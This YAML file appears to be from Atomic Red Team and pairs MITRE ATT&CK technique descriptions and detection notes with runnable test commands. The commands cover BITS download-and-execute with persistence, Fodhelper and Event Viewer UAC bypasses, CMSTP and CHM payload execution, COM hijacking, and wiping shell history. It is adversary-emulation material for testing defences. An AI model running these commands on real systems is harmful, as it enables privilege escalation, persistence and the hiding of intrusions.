- source_name: Mondok Windows PiggyBack BITS May 2007
description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
Intelligent Transfer Service. Retrieved January 12, 2018.
url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
- source_name: Symantec BITS May 2007
description: Florio, E. (2007, May 9). Malware Update with Windows Update.
Retrieved January 12, 2018.
url: https://www.symantec.com/connect/blogs/malware-update-windows-update
- source_name: PaloAlto UBoatRAT Nov 2017
description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
Retrieved January 12, 2018.
url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
- source_name: Microsoft Issues with BITS July 2011
description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
12, 2018.
url: https://technet.microsoft.com/library/dd939934.aspx
x_mitre_defense_bypassed:
- Firewall
- Host forensic analysis
identifier: T1197
atomic_tests:
- name: Download & Execute
description: |
This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload
supported_platforms:
- windows
input_arguments:
remote_file:
description: Remote file to download
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file:
description: Local file path to save downloaded file
type: path
default: C:\Windows\Temp\bitsadmin_flag.ps1
executor:
name: command_prompt
command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file}
#{local_file}
'
- name: Download & Execute via PowerShell BITS
description: |
This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell
supported_platforms:
- windows
input_arguments:
remote_file:
description: Remote file to download
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file:
description: Local file path to save downloaded file
type: path
default: C:\Windows\Temp\bitsadmin_flag.ps1
executor:
name: powershell
command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination
#{local_file}
'
- name: Persist, Download, & Execute
description: |
This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transfer
and execute a payload in multiple steps. This job will remain in the BITS queue for 90 days by default if not removed.
supported_platforms:
- windows
input_arguments:
bits_job_name:
description: Name of BITS job
type: string
default: AtomicBITS
remote_file:
description: Remote file to download
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file:
description: Local file path to save downloaded file
type: path
default: C:\Windows\Temp\bitsadmin_flag.ps1
command_path:
description: Path of command to execute
type: path
default: C:\Windows\system32\notepad.exe
command_line:
description: Command line to execute
type: string
default: C:\Windows\Temp\bitsadmin_flag.ps1
executor:
name: command_prompt
command: |
bitsadmin.exe /create #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} #{command_line}
bitsadmin.exe /complete AtomicBITS
bitsadmin.exe /resume #{bits_job_name}
T1009:
technique:
x_mitre_data_sources:
- Binary file metadata
- File monitoring
- Malware reverse engineering
name: Binary Padding
description: |
Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.
Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)
id: attack-pattern--519630c5-f03f-4882-825c-3af924935817
modified: '2019-05-30T21:09:26.228Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: "Depending on the method used to pad files, a file-based
signature may be capable of detecting padding using a scanning or on-access
based tool. \n\nWhen executed, the resulting process from padded files may
also exhibit other behavior characteristics of being used to conduct an intrusion
such as system and network information Discovery or Lateral Movement, which
could be used as event indicators that point to the source file."
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Martin Jirkal, ESET
created: '2017-05-31T21:30:22.096Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1009
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1009
- source_name: capec
external_id: CAPEC-572
url: https://capec.mitre.org/data/definitions/572.html
- description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using
old tricks. Retrieved May 22, 2018.
source_name: ESET OceanLotus
url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
- description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass
Detection in the Age of Big Data. Retrieved May 30, 2019.
source_name: Securelist Malware Tricks April 2017
url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
- description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.
source_name: VirusTotal FAQ
url: 'https://www.virustotal.com/en/faq/ '
x_mitre_defense_bypassed:
- Signature-based detection
- Anti-virus
identifier: T1009
atomic_tests:
- name: Pad Binary to Change Hash - Linux/macOS dd
description: 'Uses dd to add a zero to the binary to change the hash
'
supported_platforms:
- macos
- linux
input_arguments:
file_to_pad:
description: Path of binary to be padded
type: Path
default: "/tmp/evil-binary"
executor:
name: sh
elevation_required: false
command: 'dd if=/dev/zero bs=1 count=1 >> #{file_to_pad}
'
T1088:
technique:
x_mitre_data_sources:
- System calls
- Process monitoring
- Authentication logs
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Bypass User Account Control
description: |-
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.
Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be
modified: '2019-07-16T20:28:55.134Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.
Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:
* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)
* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)
Analysts should monitor these Registry settings for unauthorized changes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Stefan Kanthak
- Casey Smith
created: '2017-05-31T21:31:07.462Z'
x_mitre_effective_permissions:
- Administrator
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1088
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1088
- source_name: TechNet How UAC Works
description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
June 3, 2016.
url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
- source_name: TechNet Inside UAC
description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
7 User Account Control. Retrieved July 26, 2016.'
url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
- source_name: MSDN COM Elevation
description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
26, 2016.
url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
- source_name: Davidson Windows
description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
12, 2014.
url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
- source_name: Github UACMe
description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
url: https://github.com/hfiref0x/UACME
- source_name: enigma0x3 Fileless UAC Bypass
description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
and Registry Hijacking. Retrieved December 27, 2016.
url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
- source_name: Fortinet Fareit
description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
- source_name: SANS UAC Bypass
description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
3, 2016.
url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
- source_name: enigma0x3 sdclt app paths
description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
May 25, 2017.
url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
- source_name: enigma0x3 sdclt bypass
description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
Retrieved May 25, 2017.
url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
x_mitre_defense_bypassed:
- Windows User Account Control
identifier: T1088
atomic_tests:
- name: Bypass UAC using Event Viewer
description: 'Bypasses User Account Control using Event Viewer and a relevant
Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: command_prompt
command: |
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc
- name: Bypass UAC using Event Viewer - PowerShell
description: 'PowerShell code to bypass User Account Control using Event Viewer
and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: powershell
command: |
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"
- name: Bypass UAC using Fodhelper
description: 'Bypasses User Account Control using the Windows 10 Features on
Demand Helper (fodhelper.exe). Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: command_prompt
elevation_required: false
command: |
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
fodhelper.exe
- name: Bypass UAC using Fodhelper - PowerShell
description: 'PowerShell code to bypass User Account Control using the Windows
10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: powershell
elevation_required: false
command: |
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
T1191:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Process use of network
- Windows event logs
x_mitre_permissions_required:
- User
name: CMSTP
description: |-
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.
CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
x_mitre_remote_support: false
id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3
modified: '2019-06-13T18:55:24.133Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.
Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)
* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.
* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
- Nik Seetharaman, Palantir
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1191
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1191
- source_name: Microsoft Connection Manager Oct 2009
description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved
April 11, 2018.
url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
- source_name: Twitter CMSTP Usage Jan 2018
description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe...
Retrieved April 11, 2018.
url: https://twitter.com/ItsReallyNick/status/958789644165894146
- source_name: MSitPros CMSTP Aug 2017
description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April
11, 2018.
url: https://msitpros.com/?p=3960
- source_name: Twitter CMSTP Jan 2018
description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution
applocker bypass. Retrieved April 11, 2018.
url: https://twitter.com/NickTyrer/status/958450014111633408
- source_name: GitHub Ultimate AppLocker Bypass List
description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
April 10, 2018.
url: https://github.com/api0cradle/UltimateAppLockerByPassList
- source_name: Endurant CMSTP July 2018
description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code
Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.
url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
x_mitre_defense_bypassed:
- Application whitelisting
- Anti-virus
identifier: T1191
atomic_tests:
- name: CMSTP Executing Remote Scriptlet
description: 'Adversaries may supply CMSTP.exe with INF files infected with
malicious commands
'
supported_platforms:
- windows
input_arguments:
inf_file_path:
description: Path to the INF file
type: path
default: T1191.inf
executor:
name: command_prompt
elevation_required: false
command: 'cmstp.exe /s #{inf_file_path}
'
- name: CMSTP Executing UAC Bypass
description: 'Adversaries may invoke cmd.exe (or other malicious commands) by
embedding them in the RunPreSetupCommandsSection of an INF file
'
supported_platforms:
- windows
input_arguments:
inf_file_uac:
description: Path to the INF file
type: path
default: T1191_uacbypass.inf
executor:
name: command_prompt
elevation_required: false
command: 'cmstp.exe /s #{inf_file_uac} /au
'
T1146:
technique:
x_mitre_data_sources:
- Authentication logs
- File monitoring
x_mitre_permissions_required:
- User
name: Clear Command History
description: macOS and Linux both keep track of the commands users type in their
terminal so that users can easily remember what they've done. These logs can
be accessed in a few different ways. While logged in, this command history
is tracked in a file pointed to by the environment variable HISTFILE.
When a user logs off a system, this information is flushed to a file in the
user's home directory called ~/.bash_history. The benefit of
this is that it allows users to go back to commands they've used before in
different sessions. Since everything typed on the command-line is saved, passwords
passed in on the command line are also saved. Adversaries can abuse this by
searching these files for cleartext passwords. Additionally, adversaries can
use a variety of methods to prevent their own commands from appear in these
logs such as unset HISTFILE, export HISTFILESIZE=0,
history -c, rm ~/.bash_history.
id: attack-pattern--d3046a90-580c-4004-8208-66915bc29830
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: User authentication, especially via remote terminal services
like SSH, without new entries in that user's ~/.bash_history
is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE
environment variables or the removal/clearing of the ~/.bash_history
file are indicators of suspicious activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-16T20:37:57.409Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1146
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1146
x_mitre_defense_bypassed:
- Log analysis
- Host forensic analysis
identifier: T1146
atomic_tests:
- name: Clear Bash history (rm)
description: 'Clears bash history via rm
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: 'rm ~/.bash_history
'
- name: Clear Bash history (echo)
description: 'Clears bash history via rm
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: 'echo "" > ~/.bash_history
'
- name: Clear Bash history (cat dev/null)
description: 'Clears bash history via cat /dev/null
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: 'cat /dev/null > ~/.bash_history
'
- name: Clear Bash history (ln dev/null)
description: 'Clears bash history via a symlink to /dev/null
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: 'ln -sf /dev/null ~/.bash_history
'
- name: Clear Bash history (truncate)
description: 'Clears bash history via truncate
'
supported_platforms:
- linux
executor:
name: sh
command: 'truncate -s0 ~/.bash_history
'
- name: Clear history of a bunch of shells
description: 'Clears the history of a bunch of different shell types by setting
the history size to zero
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
unset HISTFILE
export HISTFILESIZE=0
history -c
T1223:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Compiled HTML File
description: |-
Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
x_mitre_remote_support: false
id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a
modified: '2019-07-16T20:59:55.841Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.
Monitor presence and use of CHM files, especially if they are not typically used within an environment.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International
created: '2018-10-17T00:14:20.652Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1223
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1223
- description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved
October 3, 2018.
source_name: Microsoft HTML Help May 2018
url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
- description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved
October 3, 2018.
source_name: Microsoft HTML Help ActiveX
url: https://msdn.microsoft.com/windows/desktop/ms644670
- description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved
October 3, 2018.
source_name: Microsoft HTML Help Executable Program
url: https://msdn.microsoft.com/windows/desktop/ms524405
- description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using
CHM – CVE-2017-8625. Retrieved October 3, 2018.
source_name: MsitPros CHM Aug 2017
url: https://msitpros.com/?p=3909
- description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer
Security Feature Bypass Vulnerability. Retrieved October 3, 2018.
source_name: Microsoft CVE-2017-8625 Aug 2017
url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1223
atomic_tests:
- name: Compiled HTML Help Local Payload
description: 'Uses hh.exe to execute a local compiled HTML Help payload.
'
supported_platforms:
- windows
input_arguments:
local_chm_file:
description: Local .chm payload
type: path
default: C:\atomic-red-team\atomics\T1223\src\T1223.chm
executor:
name: command_prompt
elevation_required: false
command: 'hh.exe #{local_chm_file}
'
- name: Compiled HTML Help Remote Payload
description: 'Uses hh.exe to execute a remote compiled HTML Help payload.
'
supported_platforms:
- windows
input_arguments:
remote_chm_file:
description: Remote .chm payload
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm
executor:
name: command_prompt
elevation_required: false
command: 'hh.exe #{remote_chm_file}
'
T1122:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Windows Registry
- DLL monitoring
- Loaded DLLs
name: Component Object Model Hijacking
description: 'The Component Object Model (COM) is a system within Windows to
enable interaction between software components through the operating system.
(Citation: Microsoft Component Object Model) Adversaries can use this system
to insert malicious code that can be executed in place of legitimate software
through hijacking the COM references and relationships as a means for persistence.
Hijacking a COM object requires a change in the Windows Registry to replace
a reference to a legitimate system component which may cause that component
to not work when executed. When that system component is executed through
normal system operation the adversary''s code will be executed instead. (Citation:
GDATA COM Hijacking) An adversary is likely to hijack objects that are used
frequently enough to maintain a consistent level of persistence, but are unlikely
to break noticeable functionality within the system as to avoid system instability
that could lead to detection.'
id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69
modified: '2019-04-18T16:41:28.889Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'There are opportunities to detect COM hijacking by searching
for Registry references that have been replaced and through Registry operations
replacing know binary paths with unknown paths. Even though some third party
applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\
may be anomalous and should be investigated since user objects will be loaded
prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.
(Citation: Endgame COM Hijacking) Registry entries for existing COM objects
may change infrequently. When an entry with a known good path and binary is
replaced or changed to an unusual value to point to an unknown binary in a
new location, then it may indicate suspicious behavior and should be investigated.
Likewise, if software DLL loads are collected and analyzed, any unusual DLL
load that can be correlated with a COM object Registry modification may indicate
COM hijacking has been performed.'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- ENDGAME
created: '2017-05-31T21:31:33.979Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1122
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1122
- source_name: Microsoft Component Object Model
description: Microsoft. (n.d.). The Component Object Model. Retrieved August
18, 2016.
url: https://msdn.microsoft.com/library/ms694363.aspx
- source_name: GDATA COM Hijacking
description: 'G DATA. (2014, October). COM Object hijacking: the discreet
way of persistence. Retrieved August 13, 2016.'
url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
- source_name: Endgame COM Hijacking
description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
Persistence & Evasion with the COM. Retrieved September 15, 2016.'
url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com
x_mitre_defense_bypassed:
- Autoruns Analysis
identifier: T1122
atomic_tests:
- name: Component Object Model Hijacking
description: 'Hijack COM Object used by certutil.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
reg import ..\src\COMHijack.reg
certutil.exe -CAInfo
cleanup_command: 'reg import ..\src\COMHijackCleanup.reg
'
T1090:
technique:
x_mitre_data_sources:
- Process use of network
- Process monitoring
- Netflow/Enclave netflow
- Packet capture
name: Connection Proxy
description: |-
Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.
Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.
id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea
modified: '2019-07-08T21:11:18.343Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
